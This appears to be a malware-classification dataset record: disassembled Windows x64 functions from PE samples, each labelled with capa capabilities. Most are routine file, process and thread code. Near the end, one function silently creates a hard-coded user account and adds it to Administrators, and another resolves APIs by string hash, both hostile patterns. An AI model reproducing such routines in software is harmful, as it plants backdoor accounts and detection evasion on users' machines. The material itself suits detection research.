joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1801bf1ac
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1801bf290
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x1801bf2f7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1801bf2f7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1801bf2f7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1801bf2f7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1801bf2f7
cmp dword [rcx + 0x84], 0xe
jbe 0x1801bf2f7
cmp dword [rcx + 0xf8], 0
je 0x1801bf2f7
mov ecx, ebx
call fcn.1801bf1dc
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1801bf410
cmp dword [rbp + 0x20], 0
je 0x1801bf344
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1801bf238
int3

Function at 0x1801d8e0c
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1801d8e2c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1801bfc2c
or eax, 0xffffffff
jmp 0x1801d8e2e
xor eax, eax
add rsp, 0x28
ret
Function at 0x1400029c0
Capabilities:
Accept command line arguments

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rdi, qword [0x140033178]
lea rcx, [rsp + 0x28]
call fcn.140002e70
nop
lea rcx, [rsp + 0x28]
call fcn.1400013a0
cmp qword [rsp + 0x38], 0
je 0x140002a3d
mov dword [rsp + 0x20], 0
lea rcx, [rsp + 0x28]
cmp qword [rsp + 0x40], 7
cmova rcx, qword [rsp + 0x28]
lea rdx, [rsp + 0x20]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rbx, rax
mov r8, rax
mov edx, dword [rsp + 0x20]
mov rcx, rdi
call fcn.140001c30
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
nop
mov rdx, qword [rsp + 0x40]
cmp rdx, 7
jbe 0x140002a82
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002a7d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002a7d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001e19c
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14001e140
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x14000e3b0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x280
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x28], rsp
mov edi, ecx
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov qword [rsp + 0x20], rax
cmp rax, 0xffffffffffffffff
je 0x14000e46d
xor edx, edx
mov r8d, 0x238
lea rcx, [rsp + 0x30]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x30], 0x238
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000e46d
nop dword [rax + rax]
cmp dword [rsp + 0x38], edi
jne 0x14000e45b
lea rdx, [0x14000e438]
mov rcx, qword [rsp + 0x28]
call sub.VCRUNTIME140.dll__local_unwind
nop
mov al, 1
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.14001e140
mov rbx, qword [rsp + 0x290]
add rsp, 0x280
pop rdi
ret
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000e420
cmp rbx, 0xffffffffffffffff
je 0x14000e47c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x14000e43a
Function at 0x140019320
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x140019341
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x14001936e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140019370
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x1400193c9
test ecx, ecx
jle 0x1400193a9
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x1400193c9
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x1400193c9
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
rcr dword [rdx + 0x4f04a44b], cl
invalid
mov esp, 0xac0f811a
mov ebx, dword [rbx - 0x3d942f05]
jne 0x140050c79
mov ecx, esi
mov bl, byte [0x1b66ae888]
sbb eax, 0x7665dba7
Function at 0x1400193f0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x140019421
xor eax, eax
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
je case.default.0x140019438
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsgetn_char____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x38]
mov qword [rsp + 0x30], rbx
mov rbx, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14001945b
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14001945d
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140019499
mov qword [rsp + 0x38], rdi
cmp rax, rbp
mov rdi, rbp
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsi + 0x50]
add r14, rdi
sub rbx, rdi
sub dword [rax], edi
mov rcx, qword [rsi + 0x38]
movsxd rax, edi
mov rdi, qword [rsp + 0x38]
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x14001952e
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1400194d4
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
cmp rbx, 0xfff
jbe 0x14001950e
nop dword [rax]
mov r9, qword [rsi + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add r14, rax
sub rbx, rax
cmp rax, 0xfff
jne 0x14001952e
cmp rbx, rax
ja 0x1400194e0
test rbx, rbx
je 0x14001952e
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
sub rbx, rax
mov rsi, qword [rsp + 0x48]
sub rbp, rbx
mov rbx, qword [rsp + 0x30]
mov rax, rbp
mov rbp, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret
movsb byte [rdi], byte [rsi]
add al, 0x4f
Function at 0x140019990
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x80
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x78], rax
mov edi, edx
mov rbx, rcx
cmp edx, 0xffffffff
jne 0x1400199bd
xor eax, eax
jmp 0x140019b29
mov rax, qword [rcx + 0x40]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400199f7
mov rax, qword [rcx + 0x58]
movsxd r8, dword [rax]
lea rcx, [rdx + r8]
cmp rdx, rcx
jae 0x1400199f7
lea ecx, [r8 - 1]
mov dword [rax], ecx
mov eax, edi
mov rdx, qword [rbx + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 1]
mov qword [rdx], rcx
mov byte [r8], dil
jmp 0x140019b29
cmp qword [rbx + 0x80], 0
mov qword [rsp + 0xa0], rsi
je 0x140019b1c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140019a3a
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rcx, qword [rbx + 0x68]
test rcx, rcx
jne 0x140019a65
mov rdx, qword [rbx + 0x80]
movsx ecx, dil
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140019b21
lea rax, [rsp + 0x48]
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x38], rax
lea rdx, [rbx + 0x74]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x30], rax
lea r9, [rsp + 0x41]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet____ptr64__char_const____ptr64__char_const____ptr64__char_const____ptr64____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140019ad4
sub eax, 1
je 0x140019ad4
cmp eax, 2
jne 0x140019b1c
movsx ecx, byte [rsp + 0x40]
mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
mov ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, edi
mov eax, ecx
jmp 0x140019b21
mov rsi, qword [rsp + 0x48]
lea rax, [rsp + 0x58]
sub rsi, rax
je 0x140019b02
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rsi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rsi, rax
jne 0x140019b1c
lea rax, [rsp + 0x40]
mov byte [rbx + 0x71], 1
cmp qword [rsp + 0x50], rax
mov ecx, 0xffffffff
cmovne ecx, edi
mov eax, ecx
jmp 0x140019b21
mov eax, 0xffffffff
mov rsi, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14001e140
mov rbx, qword [rsp + 0xa8]
add rsp, 0x80
pop rdi
ret
Function at 0x140019df0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x140031040]
xor rax, rsp
mov qword [rsp + 0x58], rax
cmp qword [rcx + 0x68], 0
mov rbx, rcx
je 0x140019ec3
cmp byte [rcx + 0x71], 0
je 0x140019ec3
mov rax, qword [rcx]
mov edx, 0xffffffff
mov qword [rsp + 0x78], rdi
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x140019ebf
mov rcx, qword [rbx + 0x68]
lea rax, [rsp + 0x30]
lea rdx, [rbx + 0x74]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x38]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
test eax, eax
je 0x140019e84
sub eax, 1
je 0x140019e88
cmp eax, 2
jne 0x140019ebf
mov byte [rbx + 0x71], 0
mov al, 1
mov rdi, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14001e140
add rsp, 0x60
pop rbx
ret
mov byte [rbx + 0x71], 0
mov rdi, qword [rsp + 0x30]
lea rax, [rsp + 0x38]
sub rdi, rax
je 0x140019eb6
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x38]
mov r8, rdi
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rdi, rax
jne 0x140019ebf
cmp byte [rbx + 0x71], 0
sete al
jmp 0x140019e6c
xor al, al
jmp 0x140019e6c
mov al, 1
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14001e140
add rsp, 0x60
pop rbx
ret

Function at 0x14001aa50
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
lea rdx, str.Server_disconnected__Terminating
mov ecx, 0xc8
call qword [sym.imp.obs.dll_blog]
cmp byte [rbx + 0xb8], 0
je case.default.0x14001aaa1
lea rcx, [rbx + 0x70]
call qword [sym.imp.MSVCP140.dll__Cnd_signal]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, 1
mov ecx, 0x100001
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rcx, rax
xor edx, edx
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp dword [rdi - 0x1c], eax
invalid
Function at 0x14001cfe0
Capabilities:
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
mov qword [rsp + 0x30], rbp
lea rax, vtable.libowobs::CommunicationChannelStd.0
xor ebp, ebp
mov qword [rsp + 0x40], rsi
mov esi, edx
mov rbx, rcx
mov qword [rcx], rax
cmp byte [rcx + 0x11], bpl
je 0x14001d0a5
mov qword [rsp + 0x48], rdi
mov rdi, qword [rcx + 8]
test rdi, rdi
je 0x14001d098
mov rcx, qword [rdi + 0x18]
mov edx, 0x3e8
mov dword [rsp + 0x38], ebp
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rdi + 0x18]
cmp eax, 0x102
jne 0x14001d043
mov edx, dword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x14001d04e
lea rdx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rdi]
test rcx, rcx
je 0x14001d05f
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rdi], rbp
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x14001d072
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rdi + 8], rbp
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x14001d085
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rdi + 0x10], rbp
mov rcx, qword [rdi + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdi, qword [rsp + 0x48]
mov qword [rbx + 8], rbp
mov byte [rbx + 0x11], bpl
mov qword [rbx + 0x20], rbp
mov rcx, qword [rbx + 0x28]
mov rbp, qword [rsp + 0x30]
test rcx, rcx
je 0x14001d0c1
mov rax, qword [rcx]
mov edx, 1
call qword [rax]
lea rax, vtable.libowobs::ICommunicationChannel.0
test sil, 1
mov rsi, qword [rsp + 0x40]
mov qword [rbx], rax
je 0x14001d0e3
mov edx, 0x30
mov rcx, rbx
call fcn.14001e19c
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x14001d0f0
Capabilities:
Terminate process

Disassembly:
push rdi
sub rsp, 0x20
cmp byte [rcx + 0x11], 0
mov rdi, rcx
jne 0x14001d107
xor al, al
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 0x38], rbx
mov rbx, qword [rcx + 8]
mov qword [rsp + 0x40], rsi
xor esi, esi
test rbx, rbx
je 0x14001d196
mov rcx, qword [rbx + 0x18]
mov dword [rsp + 0x30], esi
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbx + 0x18]
cmp eax, 0x102
jne 0x14001d141
mov edx, dword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x14001d14c
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rcx, qword [rbx]
test rcx, rcx
je 0x14001d15d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx], rsi
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14001d170
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 8], rsi
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14001d183
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x10], rsi
mov rcx, qword [rbx + 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rsp + 0x38]
mov al, 1
mov qword [rdi + 8], rsi
mov byte [rdi + 0x11], sil
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x14001d2f0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov byte [rcx + 0x13], 1
mov rdi, rcx
mov rcx, qword [rcx + 0x20]
movzx esi, dl
mov rax, qword [rcx]
call qword [rax]
mov rbx, qword [rdi + 0x28]
cmp qword [rbx + 0x10], 0
jne 0x14001d3e4
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
lea rcx, [rbx + 0x28]
mov qword [rbx + 0x18], rax
xor ebp, ebp
mov rax, rcx
mov qword [rcx + 0x10], rbp
cmp qword [rcx + 0x18], 0xf
jbe 0x14001d351
mov rax, qword [rcx]
mov r8d, 0x20
mov byte [rax], bpl
lea rdx, str.std_communications_worker_thread
call fcn.1400067d0
mov rcx, rbx
call fcn.14001bb60
mov rcx, qword [rbx + 0x10]
mov byte [rbx + 0x48], bpl
test rcx, rcx
je 0x14001d385
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 0x10], rbp
lea rax, [rbx + 0x20]
mov byte [rbx + 8], bpl
mov qword [rsp + 0x28], rax
lea r8, [0x14001bd00]
mov r9, rbx
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbx + 0x10], rax
test rax, rax
je 0x14001d3e4
lea rax, [rdi + 0x14]
mov byte [rdi + 0x10], sil
mov qword [rsp + 0x28], rax
lea r8, [0x14001d1b0]
mov r9, rdi
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
mov qword [rdi + 0x18], rax
setne al
jmp 0x14001d3e6
xor al, al
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x14001edc8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001ee12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001ee12
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001ee12
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001ee12
cmp dword [rcx + 0x84], 0xe
jbe 0x14001ee12
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001ee14
xor al, al
add rsp, 0x28
ret
Function at 0x140001070
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x38], rax
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor edi, edi
mov rbp, rax
movsxd rcx, dword [rax + 0x3c]
mov esi, dword [rcx + rax + 0x88]
add rsi, rax
mov r12d, dword [rsi + 0x1c]
mov r15d, dword [rsi + 0x20]
add r12, rax
mov r13d, dword [rsi + 0x24]
add r15, rax
add r13, rax
cmp dword [rsi + 0x14], edi
jbe 0x140001131
mov ebx, dword [r15 + rdi*4]
add rbx, rbp
je 0x14000112a
mov edx, 0x32
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strnlen]
xor ecx, ecx
lea r9d, [rcx + 0x35]
test rax, rax
je 0x14000112a
nop word [rax + rax]
movsx r8d, byte [rbx + rcx]
inc rcx
imul edx, r9d, 0x10f29f
add r8d, edx
and r8d, 0xffffff
add r9d, r8d
cmp rcx, rax
jb 0x140001100
cmp r9d, 0x544e304
je 0x14000118b
inc edi
cmp edi, dword [rsi + 0x14]
jb 0x1400010d5
xor edi, edi
lea rax, [rsp + 0x30]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call rdi
mov eax, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400011d0
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
movzx eax, word [r13 + rdi*2]
lea rcx, str._s_:_0x_x_:__p_n
mov r8d, 0x544e304
mov rdx, rbx
mov edi, dword [r12 + rax*4]
add rdi, rbp
mov r9, rdi
call fcn.140001010
jmp 0x140001133

Function at 0x140001a90
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ada
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ada
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ada
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ada
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ada
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001adc
xor al, al
add rsp, 0x28
ret
Function at 0x14006a190
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [0x14022c520]
test rax, rax
je 0x14006a1da
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14006a1da
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14006a1da
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14006a1da
cmp dword [rcx + 0x84], 0xe
jbe 0x14006a1da
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14006a1dc
xor al, al
add rsp, 0x28
ret

Function at 0x140077360
Capabilities:
Inspect section memory permissions

Disassembly:
push rbp
push rsi
sub rsp, 0x48
lea rbp, [rsp + 0x50]
mov rsi, rcx
mov eax, dword [rsi + 0x40]
cmp eax, 0xffffffff
je 0x14007737d
add rsp, 0x48
pop rsi
pop rbp
ret
mov dword [rsp + 0x20], 0x10
lea r8, [rbp - 0x10]
lea rdx, [rbp - 0x20]
mov rcx, rsi
mov r9d, 4
call fcn.140111dc0
mov ecx, eax
test ecx, ecx
jne 0x1400773f5
xor eax, eax
test byte [rbp - 0x10], 0x30
jne 0x1400773ae
mov eax, 0x40000000
test byte [rbp - 0x10], 2
je 0x1400773b9
or eax, 0x80000000
test dword [rbp - 0x10], 0x800
je 0x1400773c7
or eax, 0x10000000
test byte [rbp - 0x10], 4
je 0x1400773d2
or eax, 0x8000000
test dword [rbp - 0x10], 0x1000
je 0x1400773e0
or eax, 0x4000000
test byte [rbp - 0x10], 8
je 0x1400773eb
or eax, 0x20000000
mov dword [rsi + 0x40], eax
add rsp, 0x48
pop rsi
pop rbp
ret
call fcn.140111d60
mov ecx, eax
lea rdx, [0x1401a3a40]
call fcn.1400e1ae0
mov rcx, rax
call fcn.140003270
int3
Function at 0x18001108c
Capabilities:
Add user account to group

Disassembly:
jmp 0x180012af9
jmp qword [sym.imp.NETAPI32.dll_NetLocalGroupAddMembers]

Function at 0x1800110e6
Capabilities:
Add user account
Add user account to group
Get user security identifier

Disassembly:
jmp 0x1800116b0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x6b8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x10e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x6d8]
mov rax, qword [0x18001d008]
xor rax, rbp
mov qword [rbp + 0x668], rax
lea rcx, [0x180022025]
call fcn.1800112f3
mov dword [rbp + 0xb4], 0x100
mov dword [rbp + 0x1f4], 0x80
mov r8d, 0x38
xor edx, edx
lea rcx, [rbp + 0x28]
call fcn.18001125d
mov rax, qword [rbp + 0x690]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x698]
mov qword [rbp + 0x30], rax
mov dword [rbp + 0x3c], 1
mov dword [rbp + 0x50], 0x201
mov qword [rbp + 0x58], 0
xor r9d, r9d
lea r8, [rbp + 0x28]
mov edx, 1
xor ecx, ecx
call fcn.1800111cc
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x180011775
mov eax, 0xffffffff
jmp 0x180011811
lea rax, [rbp + 0x94]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x1f4]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x220]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xb4]
lea r8, [rbp + 0xe0]
lea rdx, str.waxapple231
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupAccountNameW]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
jne 0x1800117c6
mov eax, 0xffffffff
jmp 0x180011811
mov r8d, 8
xor edx, edx
lea rcx, [rbp + 0x78]
call fcn.18001125d
lea rax, [rbp + 0xe0]
mov qword [rbp + 0x78], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x78]
xor r8d, r8d
lea rdx, str.Administrators
xor ecx, ecx
call fcn.18001108c
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x18001180f
mov eax, 0xffffffff
jmp 0x180011811
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x18001a8c8]
call fcn.180011294
mov rax, rdi
mov rcx, qword [rbp + 0x668]
xor rcx, rbp
call fcn.18001116d
lea rsp, [rbp + 0x678]
pop rdi
pop rbp
ret
Function at 0x1800111a4
Capabilities:
Terminate process

Disassembly:
jmp 0x180014030
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x1800111cc
Capabilities:
Add user account

Disassembly:
jmp 0x180012af3
jmp qword [sym.imp.NETAPI32.dll_NetUserAdd]